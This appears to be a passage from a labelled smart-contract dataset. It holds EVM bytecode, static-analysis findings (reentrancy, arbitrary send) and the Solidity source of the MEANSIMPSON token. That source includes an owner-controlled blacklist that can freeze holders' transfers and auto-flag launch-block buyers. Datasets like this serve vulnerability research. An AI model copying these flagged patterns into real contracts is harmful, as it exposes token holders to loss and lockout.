0a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ff5625f409aaaff9bb0ffb88d2ee558383ff967ffae5711e316a0e5affb61a3464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,861
0xd9f9b24a09dc6dc22f24665ad2f2d476e436d67d
// TG: @MEANSIMPSON // Web: MEANSIMPSON.COM // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract MEANSIMPSON is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 19890000 * 10**10; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "MEANSIMPSON"; string private constant _symbol = "MEANSIMPSON"; uint private constant _decimals = 10; uint256 private _teamFee = 15; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); uint256 burnCount = contractTokenBalance.div(15); contractTokenBalance -= burnCount; _burnToken(burnCount); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _burnToken(uint256 burnCount) private lockTheSwap(){ _transfer(address(this), address(0xdead), burnCount); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initNewPair(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function startTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (30 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee < 15,"don't be greedy "); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c806370a08231116100b6578063a9059cbb1161006f578063a9059cbb146103b7578063b515566a146103d7578063cf0848f7146103f7578063dd62ed3e14610417578063e6ec64ec1461045d578063f2fde38b1461047d57600080fd5b806370a082311461031a578063715018a61461033a5780637c938bb41461034f5780638da5cb5b1461036f57806390d49b9d1461039757806395d89b411461017257600080fd5b8063313ce56711610108578063313ce5671461023f57806331c2d847146102535780633bbac57914610273578063437823ec146102ac578063476343ee146102cc5780635342acb4146102e157600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b557806318160ddd146101e557806323b872dd1461020a578063293230b81461022a57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049d565b005b34801561017e57600080fd5b50604080518082018252600b81526a26a2a0a729a4a6a829a7a760a91b602082015290516101ac919061190d565b60405180910390f35b3480156101c157600080fd5b506101d56101d0366004611987565b6104e9565b60405190151581526020016101ac565b3480156101f157600080fd5b506702c2a27f05d340005b6040519081526020016101ac565b34801561021657600080fd5b506101d56102253660046119b3565b610500565b34801561023657600080fd5b50610170610569565b34801561024b57600080fd5b50600a6101fc565b34801561025f57600080fd5b5061017061026e366004611a0a565b610621565b34801561027f57600080fd5b506101d561028e366004611acf565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102b857600080fd5b506101706102c7366004611acf565b6106b7565b3480156102d857600080fd5b50610170610705565b3480156102ed57600080fd5b506101d56102fc366004611acf565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561032657600080fd5b506101fc610335366004611acf565b61073f565b34801561034657600080fd5b50610170610761565b34801561035b57600080fd5b5061017061036a366004611acf565b610797565b34801561037b57600080fd5b506000546040516001600160a01b0390911681526020016101ac565b3480156103a357600080fd5b506101706103b2366004611acf565b6109f2565b3480156103c357600080fd5b506101d56103d2366004611987565b610a6c565b3480156103e357600080fd5b506101706103f2366004611a0a565b610a79565b34801561040357600080fd5b50610170610412366004611acf565b610b92565b34801561042357600080fd5b506101fc610432366004611aec565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046957600080fd5b50610170610478366004611b25565b610bdd565b34801561048957600080fd5b50610170610498366004611acf565b610c4f565b6000546001600160a01b031633146104d05760405162461bcd60e51b81526004016104c790611b3e565b60405180910390fd5b60006104db3061073f565b90506104e681610ce7565b50565b60006104f6338484610e61565b5060015b92915050565b600061050d848484610f85565b61055f843361055a85604051806060016040528060288152602001611cb9602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113c6565b610e61565b5060019392505050565b6000546001600160a01b031633146105935760405162461bcd60e51b81526004016104c790611b3e565b600c54600160a01b900460ff166105f75760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c7565b600c805460ff60b81b1916600160b81b17905542600d81905561061c90610708611b89565b600e55565b6000546001600160a01b0316331461064b5760405162461bcd60e51b81526004016104c790611b3e565b60005b81518110156106b35760006005600084848151811061066f5761066f611ba1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106ab81611bb7565b91505061064e565b5050565b6000546001600160a01b031633146106e15760405162461bcd60e51b81526004016104c790611b3e565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156106b3573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104fa90611400565b6000546001600160a01b0316331461078b5760405162461bcd60e51b